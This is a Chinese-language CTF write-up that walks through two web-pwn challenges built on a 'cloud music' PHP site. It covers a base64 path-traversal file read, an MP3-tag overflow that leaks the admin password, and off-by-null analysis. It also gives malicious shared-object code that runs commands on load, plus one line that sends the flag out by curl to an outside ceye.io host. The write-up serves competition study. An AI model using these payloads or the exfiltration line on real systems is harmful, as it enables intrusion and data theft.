从国赛决赛的webpwn到Delctf的webpwn学习之旅

2019-08-27 约 1233 字 预计阅读 6 分钟

声明:本文 【从国赛决赛的webpwn到Delctf的webpwn学习之旅】 由作者 xq17 于 2019-08-27 08:58:00 首发 先知社区 曾经 浏览数 160 次

感谢 xq17 的辛苦付出!

从国赛决赛的webpwn到Delctf的webpwn学习之旅

0x0 前言

 之前就想着搞一下pwn的,但是都只是断断续续看了一些汇编还有基础的栈溢出,没有进行系统的学习,想到自己也快大三了,大学生涯也快接近尾声了,加上这次国赛让我认识到自己有多菜(bulid it and 攻防环节都感受到了跟各位师傅的巨大差距),也让我明白了要想挤进一等奖的话pwn能起到很关键的作用。很开心这次在做web题能遇到@impakho 师傅的两道web pwn,虽然没能做出来,但是后面复现的时候学习到了很多东西,也感受到了pwn的魅力,坚定了我想成为一名pwn选手和逆向选手的决心(ps.希望有pwn圈子或者pwn交流群的师傅能收留我,最好是热衷于ctf比赛的, 然后带带我)

我的联系方式QQ:MTU0MzgwODA4 <=> (26+26+10+2)
备注: xz # 这样我就知道了,thanks
欢迎跟我一样菜的pwn萌新来找我一起学习。

0x1 题目介绍

国赛2019决赛Web1 - 滑稽云音乐 题目环境及其WP githud地址

我就按照当时国赛给出的环境演示下我的解题思路

国赛当时给出了不完整的源码,主要是网站的脚本代码。

De1ctf 2019 de1ctf web cloudmusic_rev - 滑稽云音乐2.0 题目环境及其wp地址

基于国赛的题目做了一些改动如下:

0x2 配置Docker环境

0x2.1 配置ciscn题目环境

git clone https://github.com/impakho/ciscn2019_final_web1.git

docker build -t ciscn_web_pwn .

docker run -p 8187:80 ciscn_web_pwn

0x2.2 配置de1ctf题目环境

git clone https://github.com/impakho/de1ctf_cloudmusic_rev.git

docker build -t de1ctf_web_pwn .

docker run -p 8188:80 de1ctf_web_pwn

0x3 正文解题过程

0x3.1 ciscn 滑稽云音乐

这个题目步骤并不繁琐,但是考点很新颖,是我见过最好的与pwn结合的题目,这个pwn还是挺基础的,不像之前那个php写一个栈溢出的题目,对新手不是很友好,让我们一起来学习@impakho 师傅出的好题目吧。

(ps.这道题目国赛好像是0解。。。。。。。。。。。但是的确是个好题目。。。而且难度很合适)

当时我好像是花了差不多20分钟通读了一次,代码量并不多,主要是include文件夹还有就是media那个share.php文件很扎眼,这里我提取下重要的文件出来分析下。

首先当时我也是不知道考点是啥,但是我看到有个验证码需要写下脚本,那么我就先跑去看了下注册文件

这里可以看到对$username $password $code做了长度限制,验证码的话,直接改下我们常用的脚本

#!/usr/bin/python
# -*- coding:utf-8 -*-

import random
from hashlib import md5

def get_plain(cipher, code, end = 5, length = 8):
    characters = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|''' 
    characters_ = list(characters)
    while True:
        plain = str(''.join(random.sample(characters_, length)))
        if md5(plain+code).hexdigest()[:end] == cipher:
            break
    return plain
print(get_plain('2495d', 'tDjpSafn'))

注册了一个 admin321 admin321的账号,然后我就继续读下登陆之后会有什么功能

我当时比较好奇的是,因为是加载的sqlite文件,所以我当时就分析一波,看下能获得管理员密码不

可以看到文件是运行的时候去生成然后加载的,所以源码是得不到密码的。

然后我就先登陆进去,看下有啥功能然后再去读对应的代码,很好有个上传的功能。

直接跟进代码看看 include/upload.php

<?php
if (!isset($_SESSION['user'])||strlen($_SESSION['user'])<=0){
    ob_end_clean();
    header('Location: /hotload.php?page=login&err=1');
    die();
}
// 上面做了下用户的验证

include 'NoSQLite/NoSQLite.php';
include 'NoSQLite/Store.php';

function clean_string($str){
    $str=substr($str,0,1024);//限制了1m大小
    return str_replace("\x00","",$str); //过滤\x00
}

if (isset($_FILES["file_data"])){ //开始文件上传
    if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
        ob_end_clean();
        die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
    }else{
        $music_filename=__DIR__."/../uploads/music/".md5($_GLOBALS['salt'].$_SESSION['user']).".mp3";
        if (time()-$_SESSION['timestamp']<3){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'操作太快了,请稍后再上传。')));
        }
        $_SESSION['timestamp']=time();
        move_uploaded_file($_FILES["file_data"]["tmp_name"], $music_filename);
      //上传没有什么限制
        $handle = fopen($music_filename, "rb");
      //这里打开了上传的文件
        if ($handle==FALSE){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,未知原因。')));
        }
        $flags = fread($handle, 3);
      //读取前3个字节
        fclose($handle);
        if ($flags!=="ID3"){
          //mp3文件的判断
            unlink($music_filename);
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。')));
        }
        try{
          //这里是重点进行了FFI调用,我们提取这个关键代码出来分析下
            $parser = FFI::cdef("
                struct Frame{
                    int size;
                    char * data;
                };
                struct Frame * parse(char * password, char * classname, char * filename);
            ", __DIR__ ."/../lib/parser.so");
            $result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_title=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_title,0,2)=="\xFF\xFE"){
                @$mp3_title_conv=iconv("unicode","utf-8",$mp3_title);
                if ($mp3_title_conv!==FALSE) $mp3_title=$mp3_title_conv;
            }
            $mp3_title=base64_encode(clean_string($mp3_title));
            $result=$parser->parse($_GLOBALS['admin_password'],"artist",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_artist=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_artist,0,2)=="\xFF\xFE"){
                @$mp3_artist_conv=iconv("unicode","utf-8",$mp3_artist);
                if ($mp3_artist_conv!==FALSE) $mp3_artist=$mp3_artist_conv;
            }
            $mp3_artist=base64_encode(clean_string($mp3_artist));
            $result=$parser->parse($_GLOBALS['admin_password'],"album",$music_filename);
            if ($result->size>0x130) $result->size=0x130;
            $mp3_album=(string) FFI::string($result->data,$result->size);
            if (substr($mp3_album,0,2)=="\xFF\xFE"){
                @$mp3_album_conv=iconv("unicode","utf-8",$mp3_album);
                if ($mp3_album_conv!==FALSE) $mp3_album=$mp3_album_conv;
            }
            $mp3_album=base64_encode(clean_string($mp3_album));
            $song=array($mp3_title,$mp3_artist,$mp3_album);
            $nsql=new NoSQLite\NoSQLite($_GLOBALS['dbfile']);
            $music=$nsql->getStore('music');
            $res=$music->get($_SESSION['user']);
            if ($res===null||strlen((string)$res)<=0){
                $res=array();
            }else{
                $res=json_decode($res,TRUE);
            }
            array_push($res,$song);
            $res=json_encode($res);
            $music->set($_SESSION['user'],$res);
            ob_end_clean();
            die(json_encode(array('status'=>1,'info'=>'上传成功!','title'=>$mp3_title,'artist'=>$mp3_artist,'album'=>$mp3_album)));
        }catch(Error $e){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。')));
        }
    }
}else{
    if (isset($_SERVER['CONTENT_TYPE'])){
        if (stripos($_SERVER['CONTENT_TYPE'],'form-data')!=FALSE){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
        }
    }
}
?>

我们上面知道了,我们只要构造一个前三个字节为ID3就可以上传了,所以我们看提取出来的重点代码

首先

$parser = FFI::cdef("
                struct Frame{
                    int size;
                    char * data;
                };
                struct Frame * parse(char * password, char * classname, char * filename);
            ", __DIR__ ."/../lib/parser.so");
//这里大概的意思是 把c语言的Frame结构体传递给了$parser变量

这里用到了php7(php> 7.40)的一个用法,之前rctf也出了一个相关的题目,所以我比较熟悉这个。

根据文档我们可以得知,第一个参数起到就是c语言的类似于头文件的声明的东西,然后第二个参数就是shared library file

$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
//这里调用FFI object的$parser去调用/lib/parser.so 共享链接库的parse函数,我们可以发现它传入了三个参数
// struct Frame * parse(char * password, char * classname, char * filename); 
// 第一个是admin_password 第二个是title 第三个是我们传入的文件
            if ($result->size>0x130) $result->size=0x130;
// 这里取回函数执行的结果,限制了$result->size的大小最多为0x130
            $mp3_title=(string) FFI::string($result->data,$result->size);
// 这里调用了string函数去获取解析了我们mp3文件的歌曲名
            if (substr($mp3_title,0,2)=="\xFF\xFE"){
                @$mp3_title_conv=iconv("unicode","utf-8",$mp3_title);
                if ($mp3_title_conv!==FALSE) $mp3_title=$mp3_title_conv;
            }
            $mp3_title=base64_encode(clean_string($mp3_title));
 ......................................
  die(json_encode(array('status'=>1,'info'=>'上传成功!','title'=>$mp3_title,'artist'=>$mp3_artist,'album'=>$mp3_album))); //这里把$mp3_title输出到了前端。
        }catch(Error $e){
            ob_end_clean();
            die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。')));
        }

由于自己对于溢出泄漏数据不是很理解,一开始也没发现有啥问题,后面出了提示,提示了size那个点存在溢出。所以我当时就锁定了这里,但是我找了一圈没有找到parsers.so文件在哪里,源码没有给,当时卡了一会,后面我想起来了,share.php我一开始就发现是个文件读取漏洞了,但是我当时以为是出题人留的后门啥的,想着直接读flag但是发现读不了,觉得应该是做了权限的限制,只能读网站目录下的文件,当时我就觉得

__DIR__ ."/../lib/parser.so 这个东西拼接了__DIR__很明显就是在网站目录下嘛,一下子就把share.php文件想起来了,我们来看看。

ciscn2019_final_web1/source/media/share.php

<?php
# For sharing files in /media directory, do not delete, you can modify
# 分享功能,用来分享/media文件夹下的文件。不可删除,可以按需修改。
ini_set('display_errors','Off');
error_reporting(0);
header('Content-Type: application/octet-stream'); //这里设置了是流类型
$filepath=base64_decode($_SERVER['QUERY_STRING']);
//这里很简单直接取了$_SERVER['QUERY_STRING'] 然后base64解码
if (strlen($filepath)<=0) exit();
$file=fopen($filepath,"rb");
if ($file==FALSE) exit();
ob_clean();
while(!feof($file))
{
    print(fread($file,1024*8)); //直接读取8m,然后print输出,其实就是把内容读入到了输出流
    ob_flush(); 
    flush();
}

所以我们可以构造下链接,然后直接访问就可以把parser.so文件给下载下来。

http://127.0.0.1:8187/media/share.php?../lib/parser.so 然后base64一下

http://127.0.0.1:8187/media/share.php?Li4vbGliL3BhcnNlci5zbw==

记住要在浏览器打开下载回来,要不然容易损坏文件,我当时测试wget不行,但是我复现可以,迷。。。。

然后我们修改下后缀为elf,然后打开ida进行分析一下。

file查看下,确定是64位程序

首先补充下一些概念

ELF, Executable and Linking Format,是一种用于可执行文件、目标文件、共享库、和核心转储的标准文件格式。
ELF有四种不同的类型:
1.可重定位文件(Relocatable): 编译器和汇编器产生的.o文件
2.可执行文件(Executable):Have all relocation done and all symbol resolved except perhaps shared libray symbols that must be resolved at run time
3.共享对象文件(Shared Object): 动态库文件(.so)
4.核心转储文件(Core File)
所以说其实那个parser.so就是作为一个共享库的存在,我们也可以直接看file结果可以看出来
这个parser.so是一个标准的64位动态库文件,所以我们采取64位的ida进行打开。

我们直接在右边按下p去找parser函数去读下

汇编其实也很好读,伪代码更直接,不过ida定义了很多自定义的数据类型,所以我们可以去了解下ida def.h,能帮助我们更好的读懂程 这里补充下ida一些小知识 我比较常用的小功能是:

F5: 反编译出c语言的伪代码,这个基本是我这种菜鸡特别喜欢用的。
空格: IDA VIEW 窗口中 文本视图与图形视图的切换, 好看。直观,哈哈哈
shift + f12:查找字符串 逆向的时候能快速定位
n: 重命名 整理下程序的命名,能理清楚逻辑
x: 查看交叉引用

我们可以分析下这段ARM汇编风格的汇编程序

首先是 public parse 定义子模块

parese proc near 代表子程序的开始

parse enp 代表子程序结束

; __unwind{ main proc}; 里面的代码就是函数实现的主要汇编代码

因为后面差不多,我们直接分析下开头和读取titie的汇编代码

看不懂先了解下小知识(后面我会写一个真正的小白逆向入门系列之汇编理论到实践篇)

我学汇编看的是王爽写的<<汇编语言>> 第三版
然后书本用的案例是Intel 8086 cpu
然后8086是16位cpu,有14个寄存器(16位,可以存放两个字节): AX BX CX DX | SI DI SP BP IP CS SS DS ES PSW
32位的对应就是: eax ebx ........
64位就是: rax rbx rcx .........
还有其他细节指令也变了,但是大体上差不多的,到时候我会在下一篇文章进行对比分析下。
内存是字节单元(一个单元存放一个字节,一个字节8位)
字单元: 由两个地址连续的内存单元组成,存放一个字型数据的内存单元。
其实读懂这段代码非常简单,就是一个函数调用, 压栈的过程
栈顶在内存中是高地址向低地址增长的
然后就是常说的一些函数约定:
参数少于7个时,参数从左到右放入到寄存器中: rdi rsi rdx rcx r8 r9
当参数7个以上时,前六个不变,但后面的依次从右往左放入栈中。

.text:0000000000002983 var_18          = qword ptr -18h
.text:0000000000002983 s1              = qword ptr -10h
.text:0000000000002983 var_8           = qword ptr -8
.text:0000000000002983
.text:0000000000002983 ; __unwind {
.text:0000000000002983                 push    rbp
.text:0000000000002984                 mov     rbp, rsp
.text:0000000000002987                 sub     rsp, 20h
.text:000000000000298B                 mov     [rbp+var_8], rdi
.text:000000000000298F                 mov     [rbp+s1], rsi
.text:0000000000002993                 mov     [rbp+var_18], rdx;传入参数 _int64 8字节
.text:0000000000002997                 mov     eax, 0
.text:000000000000299C                 call    _init_proc ;这里调用__init_proc函数
.text:00000000000029A1                 mov     rax, [rbp+var_8]
.text:00000000000029A5                 mov     rdi, rax
.text:00000000000029A8                 call    _check_password
.text:00000000000029AD                 cmp     eax, 1 //结果比较
.text:00000000000029B0                 jnz     short loc_2A1F //if判断
.text:00000000000029B2                 mov     rax, [rbp+s1]
.text:00000000000029B6                 lea     rsi, aTitle     ; "title"
.text:00000000000029BD                 mov     rdi, rax        ; s1
.text:00000000000029C0                 call    _strcmp
.text:00000000000029C5                 test    eax, eax
.text:00000000000029C7                 jnz     short loc_29D7
.text:00000000000029C9                 mov     rax, [rbp+var_18]
.text:00000000000029CD                 mov     rdi, rax
.text:00000000000029D0                 call    _read_title
.text:00000000000029D5                 jmp     short loc_2A1F

对应的伪代码:

我们跟进下init_proc()初始化函数

这里我们可以看到 这个反汇编的结果不是很正确,还是看汇编比较好。

其实这里frame_data是一个指向_frame_data的指针。

然后就是把参数传入_memset函数啦, rdi寄存器存放参数值就是frame_data指针的,然后edx存放大小,esi存放初始化的值。

上面那个汇编对应的就是:

memset(&frame_data, 0, 0x100uLL);

其实真实源码是这样的

理解了这个,我们就可以继续分析这个漏洞了。

当时我以为check_password会硬编码在程序里(但是前面我们知道它是随机生成然后写入文件的)呢,这样就是一道简单的逆向题,我还是太天真了

所以最后我还是乖乖的根据提示去找size溢出点了。

我们跟进下read_title这个函数看看

这个我个人不是很建议去跟,程序不是很好读,我们不如直接搜索mp3结构,来了解下判断原理

我们结合@impakho师傅的脚本来看下构造是对应上面结构,其实你直接看源文件也可以发现构造规则。

def upload_music():
    url = site_url + '/hotload.php?page=upload'
    data = {'file_id': '0'}
    music = preset_music[:0x6] + '\x00\x00\x03\x00' + preset_music[0x0a:0x53]
    music += '\x00\x00\x03\x00' + '\x00\x00\x03' + 'a' * 0x300 + '\x00'
    files = {'file_data': music}
    if logging: print(url)
    if logging: print(data)
    # res = post(1, url, data, files)
    if logging: print(res.text)
    if '"status":1' in res.text:
        try:
            return b64decode(json.loads(res.content.strip())['artist'])[-16:]
        except:
            return ''
    return ''

我们生成一个文件来看看

然后按照上面的文件结构,我们就知道构造原理了

这里要对应好大小,要不然解析读取的时候可能会出错了,导致不成功。

我们把生成的文件上传试试看

至于为什么会这样? 其实这个就是这个题目pwn的考点。

$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);

这段php代码就会根据结构体的定义接收到了return result and return frame_size

然后就会通过ffi的自定义函数去读取数据

通过文档我们可以如果size参数省略那么,那么就会根据\0去结束。

也就是这个函数的逻辑应该是优先根据结束符,次之是根据size参数来读取字符串长度的(想想代码是如何实现上面size效果就可以猜到了,不信的话可以直接撸一下ffi扩展string函数源码,欢迎师傅和我交流下这里)

if ($result->size>0x130) $result->size=0x130;
$mp3_artist=(string) FFI::string($result->data,$result->size);

你们看到这里有什么不对了吗?

首先$result-data ->对应的是 frame_data ,然后frame_data指向的__frame_data数组只有0x100的大小,

但是这里竟然可以读取最多是0x130 多了0x30可以读取,这会导致什么问题呢,很显然的话就会数组越界从而读取到下一个地址的数据。

那么具体成因是啥呢? 我们继续分析下代码

(unsigned __int8)(((unsigned __int64)frame_size[0] >> 56) + LOBYTE(frame_size[0]))
             - ((unsigned int)(frame_size[0] >> 31) >> 24)

上面这个memcpy的第三个参数很有意思,看下汇编

一些汇编小知识:
sub ax,bx <=> ax -bx
add ax,bx <=> ax = ax + bx

我当时问了下其他师傅具体怎么算的,这个是gcc优化导致的,我们可以自己写一段代码来调试就知道了。

所以那句话其实就是eax%256 256=>0x100

这个程序的源代码是这样的,gcc优化后的确挺难理解的,后面我会针对这个问题,研究下。

这样你想想会导致什么问题。

我先看下.bss段中变量存放的地址

_BSS段_通常是指用来存放程序中未初始化的或者初始化为0的全局变量和静态变量的一块内存区域。特点是可读写的,在程序执行之前_BSS段_会自动清0。,但是地址偏移是不变。

然后 0x93c0 - 0x92c0= 0x100 ,password长度<0x30 这样就可以泄漏出密码了。

这里我直接给你们看两个程序就明白了

然而后面我跟了下.so的源代码然后和@impakho师傅聊了下,发现拼接的字符串根本没有\0,所以这道题目

只需要伪造size是个比较大的值就可以了,原因看下下面这个程序就懂了。

然后我们愉快的获取到了管理员密码,然后我们就需要去看看需要管理员操作的地方有没有什么getshell的点。

include/firmware.php

很直接,我们跟进看看

可以看到这里主要限制了文件大小,限制了elf文件头,然后生成的文件名是利用随机数拼接username(如果上传比较快的话,这个可以直接得到的) 不用像原作者那么复杂,调用python的类。

所以说我们可以构造一个任意指令的elf文件然后传入路径给ffi去加载,我们可以控制指令读取flag的值然后赋值给

* version 就行了。

这样我们相当于可以执行命令,但是我们没办法cat /flag 因为/flag权限是600

所以我们需要利用suid的程序进行读取/flag,脚本如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char _version[0x500];
char * version = &_version;

__attribute((constructor)) void fun(){
  memset(version, 0 ,0x500);
  FILE * fp = popen("find / -user root -perm -4000", "r");
  if (fp==NULL) return;
  fread(version, 1 , 0x500,fp);
  pclose(fp);
}

我们也可以直接执行system然后写入目录里面。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char _version[0x130];
char * version = &_version;

__attribute((constructor)) void fun(){
  memset(version, 0 ,0x130);ls
  strcpy(version, "v2.0");
  system("find / -user root -perm -4000 > /var/www/html/uploads/firmware/res.txt");
}

gcc编译命令share object:

gcc -shared -fPIC -o web1.so web1.c

然后我们上传这个文件就行了。

这里需要注意下本地的php版本要大于7因为,php7修复了随机数生成的一些缺陷,导致与php7一下生成的值不一样。

// exp.php
<?php
    mt_srand(time());
    echo time()." | ";
    echo md5(mt_rand().'admin')."\n";
#!/usr/bin/pyhton
# -*- coding:utf-8 -*-
import requests
import os
cookie = {
    "PHPSESSID":"dgs7mi8558jubi3nrqrtht929a
}

file = {
    "file_data":open("web1.so","rb")
}

data = {
    "file_id":0
}

os.system("php exp.php")

resp = requests.post("http://222.85.25.41:9090/hotload.php?page=firmware",data=data,files=file,cookies=cookie)

os.system("php exp.php")

print resp.text

py跑起来

从返回结果看,我们可以很明显看到一个可以读取文件的命令tac

然后稍微改下命令就可以get flag了

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char _version[0x500];
char * version = &_version;

__attribute((constructor)) void fun(){
  memset(version, 0 ,0x500);
  FILE * fp = popen("/usr/bin/tac /flag", "r");
  if (fp==NULL) return;
  fread(version, 1 , 0x500,fp);
  pclose(fp);
}

0x3.2 cloudmusic_rev - 滑稽云音乐2.0

代码主体还是国赛的题目源码,所以我们做这道题目可以白盒+黑盒来做。

首先先黑盒搞出那个文件读取,后面就是白盒操作了。

0x3.2.1 文件读取

这个考点的确是有依据的,因为$_SERVER['QUERY_STRING']不会对字符串解码,但是浏览器会自动编码,所以通常写代码的时候就会urldecode,如果写错了过滤与解码的顺序,就会导致出现漏洞。

所以说我们把上面那个payloas urlencode一下再base64一下就能获取代码了。

0x3.2.2 off by null

参照国赛的题目,我们读取3个文件的代码就行了,关于验证码很简单这里就不叙述了。

直接上脚本

#!/usr/bin/python
# -*- coding:utf-8 -*-

import random
from hashlib import md5

def get_plain(cipher, code, end = 5, length = 8):
    characters = '''abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-_ []{}<>~`+=,.;:/?|''' 
    characters_ = list(characters)
    while True:
        plain = str(''.join(random.sample(characters_, length)))
        if md5(plain+code).hexdigest()[:end] == cipher:
            break
    return plain
print(get_plain('852619', '3ECBACGv', 6))

然后我们读下 upload.php firmware.php parser.so

你会发现data写在了size的上面了,然后限制了大小修改为了0x70

然后firmware.php去掉了回显,但是我们可以通过写入uploa文件夹,脚本如下

#include <stdio.h>
#include <string.h>

char _version[0x130];
char * version = &_version;

__attribute__ ((constructor)) void fun(){
    memset(version,0,0x130);
    FILE * fp=popen("/usr/bin/tac /flag > /var/www/html/uploads/firmware/wulasite.txt", "r");
    if (fp==NULL) return;
    fread(version, 1, 0x100, fp);
    pclose(fp);
}

外带数据的话,so文件代码如下:

#include <stdlib.h>
#include <stdio.h>
#include <string.h> 
char _version[0x130];
char *version = &_version;
__attribute ((constructor)) void shell(){
    strcpy(version, "cloudmusic_rev");
  // excute command
  const char *command =  "curl  -v --data-urlencode flag=`/usr/bin/tac /flag` 3bqxxx.ceye.io";
   system(command);
}

下面让我们重点分析那个pwn点吧,打开ida进行分析

我们可以看到相对国赛的改动

限制了内容长度最大是0x70

这里用strlen来判断是存在问题的,因为strlen是不会把\0 去计算进去的。那么是怎么实现攻击 off by null攻击的呢。

其实就是修改了mem_mframe_data的地址为 存放密码的mem_passwd

这里为什么用国赛的思路不行呢,这里我简单说说

1.首先是限制了0x70

def upload_music():
    music = preset_music[:0x6] + '\x00\x00\x03\x00' + preset_music[0x0a:0x53]
    music += '\x00\x00\x03\x00' + '\x00\x00\x03' + 'a' * 0x70 + '\x00'
    with open('web2.mp3', 'wb') as f:
        f.write(music)

当我们上传这个内容是0x70长度的mp3上去时

首先mem_mframe_data数组大小是0x70

这里发生了溢出,溢出了\0,strcpy本来返回的是 mem_mframe_data地址值,但是由于溢出了,直接修改了ebp的低位,从而

这样就实现了修改地址,从而string函数读取的时候就跑去读密码的地址了。

不懂可以看下这个文章: Linux (x86) Exploit 开发系列教程之三(Off-By-One 漏洞 (基于栈))

0x4 感激

  很感谢三叶草的@0xC4m3l师傅,还有@impakho、@湖大QQ星师傅耐心解答我的问题,让我学习到了很多大师傅们的姿势,一想到从最开始高三暑假三叶草@流星师傅带我入门ctf,到现在都过去了2年了,现在自己的水平打比赛还是很吃力,吹爆三叶草的各位师傅,希望自己能加把劲跟上师傅们的步伐,不辜负流星师傅一直以来对我的耐心指导。

0x5 总结

 这两个题目很有意思的,让人感觉pwn与web结合起来是多么美妙的事情,同时我感觉到了pwn真的是很有意思的东西,就是感觉有种geek的感觉,这是让我感觉跟web差别很大,很有意思的东西。还有就是自己需要多写汇编,重新巩固c语言基础,然后ida反编译去学习gcc优化代码与源代码的差异。最后小小吐槽下这个题目,这个题目考点不是很难,难的是比较新颖,如何构造一个满足的mp3文件,在国赛那种断网环境,真的不容易。

0x6 参考链接

De1CTF2019 官方Writeup(Web/Misc) -- De1ta

MP3文件结构解析

ELF是什么?

IDA Pro: def.h

IDA-数据显示窗口(反汇编窗口、函数窗口、十六进制窗口)

64位和32位的寄存器和汇编的比较

X64的函数调用规则

attribute 机制使用

关键词:[‘安全技术’, ‘CTF’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now